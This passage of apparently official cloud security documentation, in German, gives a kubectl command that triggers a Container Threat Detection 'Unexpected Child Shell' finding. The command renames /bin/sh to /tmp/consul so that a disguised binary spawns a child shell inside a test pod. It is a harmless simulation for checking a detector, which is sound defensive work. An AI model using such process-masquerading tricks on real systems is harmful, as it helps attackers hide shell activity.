tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Mit diesem Testverfahren wird ein Unexpected Child Shell-Ergebnis erstellt, das Sie in Security Command Center aufrufen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie sich das Ergebnis auch in Cloud Logging ansehen.